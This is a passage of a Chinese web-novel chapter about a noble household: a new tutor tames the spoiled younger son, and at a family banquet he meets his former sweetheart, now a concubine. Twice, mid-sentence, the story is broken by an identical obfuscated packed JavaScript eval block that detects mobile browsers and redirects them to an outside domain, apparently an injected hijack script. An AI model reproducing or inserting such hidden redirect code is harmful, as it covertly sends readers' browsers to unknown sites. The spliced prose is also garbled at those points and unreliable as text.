哪知才行不过一程，便撞上这群亡命之徒。 她在他身边终是要受连累的，不如……离远些好，或许沈霆之更适合她，至少沈家是世家大族能护她周全，不像他，虽是个王爷却孑然一身。 崔莞言看着他离开的方向，思绪纷杂。 一句安置的话都未留下，她本以为，哪怕不说也会看她一眼。 那日后，褚元唐都未再出现。 崔莞言原以为自己该松口气的，可静下来时，心中却总浮出那日山道上他杀敌护她的模样，像根细刺无声地扎着。 她没再等，傍晚忽说自己头晕乏力，茶也不饮、饭也不动，一躺便是一整天。 她没唤太医，只当着柳枝的面，咳了几声，又在晚膳时咽了几口后勉强摇头，苦笑说：“还是吃不下。” 柳枝面露忧色，转头悄悄往外走。 她想，那人若真有心，早就该有所行动了。 可惜日子仍是照常，未传来褚元唐半点消息。 她本不想在意的，只是那些压下去的情绪偏偏不肯听话地沉底，总在夜里浮上来，让她越想越烦，越烦越静不下心。 他是不是，真的打算就此与她疏远了？ 这一世，他们本该是陌路人。这么一想，她反倒觉得呼吸顺了些，终于得了个解释。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259775|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是心底最柔软那处却像被针扎了一下。 两日后，郑安到府。 她吩咐人备茶备点，带着郑安去前厅，又遣人到东厢唤了崔昱前往。 片刻后，崔昱一脚踹开书房门，语气颇为不耐：“又是哪来的酸腐文人？来教我背三字经？” 崔昱身着紫边短袍腰束玉带，气焰极盛，他自小被捧着长大性子娇纵，换了几个先生不是被他气走就是被他轰出门去。 他扫了郑安一眼，眉头皱起：“年纪也不大，胡子都没几根，凭你也配教我？” 话落，眼神里带着分明的不屑和挑衅。 崔莞言站在廊下未言语，只淡淡侧眸看了郑安一眼。 郑安却神色未动，行礼道：“郑安见过三公子。” “别装了，我可不吃你这套。”崔昱冷笑，“我讨厌别人摆先生的谱。” 郑安平静地收回手：“郑某并非摆谱，也非装样，只是日后相处，总得行个礼，以全宗法。” 崔昱怔了一下，面上还要说些什么，却被崔莞言打断：“要是不想学，便回父亲那儿去跪着。” 崔昱一听父亲二字，顿时没了脾气，狠狠瞪了郑安一眼，转身就走：“走吧，去书房，我倒要看看你有什么本事。” - 崔昱进门便一屁股坐在榻上，把书案当摆设，懒洋洋倚着靠枕，睨了一眼跟进来的郑安，眼神中满是“你敢来教我？”的挑衅。 郑安不言，只抬手合上了那本翻开的《礼记》。 崔昱没抬眼，道：“我不想学，不学也不能杀头，你若是怕教不好就自己滚，没人拦你。” 说完，竟真往后一倒，躺下闭眼，摆出一副“你奈我何”的模样。 “本少爷睡觉时你最好安静点。” 郑安却不动怒，只静静望着他，道：“既如此，郑某先等你睡醒。” 崔昱斜睨了他一眼：“我若一睡睡到明年，你是不是还得站在那儿陪着？” 郑安回得平淡：“若你真能这么有恒心，倒也是种本事。” 崔昱却不接话，只把袖子一盖，真躺了下去，一副打定主意不学的样子。 书房内陷入沉寂。 外头槐影摇曳，蝉声阵阵，侍女掀帘进来一看，吓得小声退了出去。 郑安没急着催，仍旧立在一旁，既不劝也不怒，甚至不出声。 约莫过了小半个时辰，崔昱翻身：“你不会真打算一直杵着吧？” 郑安看他一眼：“你若能真不说一句话睡到申时，今日便算你赢，我不教你了。” 崔昱顿时被噎住。 他本就是嘴碎急性子，哪能真忍住不说话？可又不能直接认输，便板着脸冷笑：“也罢，我不屑跟你废话。” 郑安却仿佛早看透他的嘴硬，仍旧自顾自走到书案边，拿出一本策论，放在他面前，道：“你既睡不着，那便读两个字吧，若识得，便不再多言。” “我不读。” “可你若不识……我便当你只是个还没识字的小孩子，不配坐这座书案。” 崔昱猛地坐直，眸中燃起火气。 “你说谁不会认字？” 他怒气冲冲地抓过那本书，翻开第一页，看见其中一个字，忽而一愣：“这……什么意思？” 郑安不答，只淡淡道：“你不是识字么？自己看。” “你——！” 37. 青梅竹马 崔昱盯着书上的字，一言不发，却又忍不住翻了两页，终于指着其中一字问道：“这字，你认得么？” 郑安似笑非笑：“你想知道？” 崔昱气得将书一合：“你到底教不教？” “我教，”郑安终于坐下，“但既是读书，须有规矩。你既坐上案边，便是学生，便该守学生之礼。郑某不是你的奴仆，也非你家门下小吏，若你要学，就收起你那副公子哥的架子。” 崔昱眉心直蹙，脸色极不好看。 父亲那边整日说他无用，说他只会摆架子，说他年纪轻轻就仗着宠打人骂人……这些话他平日听多了，从不放在心上，可现在郑安当着别人面说，他忽然觉出一种羞辱。 他咬了咬牙，眼里火光一闪，低声骂了一句“装清高的酸儒”，终究还是往那椅上一坐。 “成，你讲吧。”说这话时，他眼神锋利，仍是一副“随时准备找茬”的模样。 郑安却像没察觉那点刺意，只取过毛笔，将那“龠”字临摹一遍，又提笔写下“律”“吕”“宫”“商”等字，提声道：“龠，为古乐器，三孔，象征调和、节律。后代礼乐渐衰，音律废弛，是以周公制礼作乐，用以教化诸侯。” 崔昱嗤笑：“我学这些干什么，又不是要去吹笛子。” “非也，你不懂律，便不懂礼，不懂礼，日后只会一事无成。你若不信，回头可去问你兄长，宫中赐宴时，哪位世家子敢用错坐次，敢越礼侍言？” 话说得不轻不重，恰好点中崔昱的“软肋”。 他最怕被人说“将来扶不上台面”。 那瘸子大哥是世子，就算被废了，日后承爵的也是二哥，他因年纪小，常常被众人轻视。 父亲对二哥严厉，是因将他当世子培养，而对他虽常呵斥，却并不多以教导。 母亲也一样，全然将希望寄托在二哥身上，他不服！ 现在被郑安这样不动声色一激，他反倒坐直了些，咬着牙道：“那你说，我该从哪里学起？” “学起不难，”郑安看了他一眼，似笑非笑，“难的是心气。” 书房窗外，蝉鸣未歇暑热渐烈。 崔晋立于窗后，听着里面那一问一答，唇角不觉浮起一丝笑意。 崔昱那桀骜不驯的脾气，是他向来头疼之事。 可刚才那一课，他听得清清楚楚，一无呵斥二不动怒，郑安却能将一群先生都制不住的顽劣子弟拢住，还拐着弯儿将人驯得服气，倒真不是寻常读书人。 他更意外的，却是莞言竟能请来如此人。 这女儿倒不是他过去以为的那种“安分守礼”而已。 知进退、懂局势，有胆有识，又藏得住锋芒。国公府这一脉几个子女中，竟还是她最像自己。 可惜是个女儿。 正想着，却听身侧脚步轻响，崔莞言不知何时已来到他近前。 她似知他心思，神色如常地开口：“父亲，郑安方才初入府中，女儿想着，晚上设一席家宴，不铺张，也好让他熟悉这府中气脉。咱们国公府若要立家风、聚人才，总不能只看出身门第。” 崔晋眸光动了动。 眼下朝局不稳，士林议论纷纷，正需这样一笔清流，叫人知晓国公府识人不拘门户，有容乃大。 “你安排得很好。” - 申时刚过，国公府的席面便已摆开。 下人们进进出出，忙得脚不沾地，人人却神情利落。 新来的郑先生治住了三少爷的消息，午后传遍了整个府里，听说三少爷脸都黑了，却一句不敢回嘴，众人皆惊得下巴都要掉了。 那可是崔昱啊。 素日里谁敢惹他？稍不如意就是一脚踹翻茶盏，动辄打骂伺候的下人，府里上下也只有二小姐敢挡一挡他锋头，如今却真让这位新先生压住了性子。 因此今日这场家宴，便连厨房都比往常多了三分用心，谁都知道，是二小姐特意为这位郑先生设的。 赵姨娘也在忙活，虽是从前的下等丫鬟出身，如今得二小姐信重，帮着料理厅事倒也风风火火，几位年长的老嬷嬷瞧着，都说赵姨娘比从前多了几分风范，说话腰杆也直了。 一边春风得意，另一边却是门前冷落。 孙氏这几日在后院独守开房，府中谁也不曾去看她一眼，连向来惯于逢迎的管事婆子都开始绕道行事。 直到今晨，丫鬟带进一桩消息。 “三少爷那儿新来了位郑先生，往后也不用姨娘跟着操心了。” “郑先生？” “姓郑，名安，约莫二十六岁，听说还未娶妻呢。” 孙氏听见这名字，心头如被针刺般疼痛不断。 郑安。她默念着这个名字，仿佛隔着十多年漫长的光阴，仍能忆起那个少年眉眼清朗、望着她轻声唤“阿颜”的模样。 那是她最干净的时光。 可如今，她不过是个姨娘，一个低贱的妾室，昔日的青梅竹马已成他人口中的“郑先生”，她有什么脸再见他？ 她怕多看一眼，便藏不住那点狼狈心思。 午后她本想推说身体不适，不去赴晚上的家宴，怎料崔晋听说后，面色一沉，当着下人的面斥她：“病了？我看你好得很，几日不见，倒是越发不成体统了。” 灵绣恭顺地立在一旁，一句接一句地“劝诫”：“孙姨娘前些日子是委屈了些，可为了三少爷，咱们也得全了这礼数不是……” 一番话说得她牙关都咬紧。 她原以为灵绣不过是个靠美色的蠢丫头，现在才知，这贱人心思比谁都深。 崔晋对她这段时日已是厌倦，现下更是半句好话都不肯给，她若执意不去，只怕日后连这院子都保不住。 罢了。 她闭了闭眼，勉强稳住心神，如今她身在局中，哪怕心中滔天波澜，也只能将那些往事、那些柔情，统统压下去，藏进一身素衣罗衫里。 - 日暮方沉灯火初上，前厅早早便亮了灯，烛光倒映在窗纸上，连人影都显得格外分明。 孙氏踏进宴厅那刻，厅中众人已基本落座。 她本欲低调行事，怎料才踏进门槛，就见那位端坐于主座右下的少女起了身，笑意温婉地朝她看来：“姨娘来了。” 孙氏面上不动，盈盈一礼：“妾身来迟，请老爷恕罪。” 她行礼时，目光不动声色地扫过厅中来客，视线顿在第三席左侧的男人身上。 十余年光阴，从青衫意气到如今冠服整肃，他容貌已沉稳许多，眉眼却仍带着那股她熟悉的清冷。 郑安抬起眼来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259776|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，四目交投，却只一瞬便垂眸避开，复又淡然如初。 孙氏心里早已冷透。 人是崔莞言故意请来的，为的就是乱她心智，找个可乘之机将她一举除掉。 她绝不能让这贱人如意！ 于是她低首坐在一旁，神色平和得无懈可击。 而上座之上的崔莞言，早已将二人神情尽收眼底。 郑安收敛的眸光、孙氏一瞬的失神，全然逃不过她的眼。 她唇边仍带笑意，轻轻抿了一口茶，心中却起了几分兴致。 这对“苦命鸳鸯”，呵，真真可怜又可笑。 她要看他们还能撑到几时。 “时候不早了，”首座上的崔晋终于出声，“开席吧。” 仆从闻言连忙呈上酒食，宾主寒暄声交错其间，满堂皆是礼乐太平的热闹假象。 崔莞言轻轻拨着碟中细点，语气随意：“听说郑先生近几年在江南授学颇得士林推崇，却不知是哪一家子弟？” 郑安淡淡一笑，语气谦和：“不过寒门小户，祖上是乡中主簿，父母早亡，家中也无甚根基。” 崔晋接了话，笑道：“门第高低算不得什么。先生才识远播，如今请到府中，正是我崔家之幸。” 崔莞言斜睨一眼孙氏，随即低头替老太太夹了一块细糕，漫不经心地又问：“郑先生在外多年，不知家中还有何人？” 郑安仍是平静如水：“郑某身边并无亲眷，一直寄住在书馆之中。” 崔莞言点点头，眼底却轻轻敛了光。 她并不急着追问，眼下这种坦然却留白的回应，反倒逼得旁人不得不顺着往下问。 果然，崔晋微一颔首：“这样啊，那……郑先生至今未娶？” 郑安复又低下眼睫：“多谢大人关怀。少年时有意中人，只可惜她早些年便去了，故此至今未娶。” 崔莞言没回头看，却能想见孙氏神色已变。她素来最重颜面，此刻恐怕已经在心头百转千回，只是死死按捺不肯露出破绽罢了。 “多情却无果，郑先生倒是痴心。” 孙氏明知道那话是崔莞言故意引出来的，可她的胸口还是狠狠一窒。 她闭了闭眼，忍下酸意，强撑着没让眼眶泛红。 崔晋得清她脸色略有异样，便略一皱眉：“可是哪里不适？” 孙氏忙低头掩住情绪：“并无大碍，许是今晨着了些风。” 崔晋没多追问，只摆手让她坐下，语气却冷了几分：“席间勿要失礼。” 郑安不动声色地扫了眼上座的崔晋，心中却像被细线缠住，一寸寸收紧。 那般隐忍，那般小心翼翼…… 他垂下眸，喉间有些涩。 若是当年他能再争一争，是不是一切都不会是现在这般模样？ 可惜，一切都已迟了。 酒过三巡，他终还是斟了一盏薄酒，轻轻举起，朝上座行礼：“郑某初入京中，承蒙国公大人信任，得在府中暂居，已是三生有幸。” 说罢，他神色不变地转了个角度，酒盏轻轻朝右一偏，对着那位始终沉默寡言的女子轻轻一顿：“也多谢……小姐、姨娘款待。” 孙氏勉强抿唇一笑，不去看他。 终究是过去太久了，久到他已能旁观她嫁做人妇。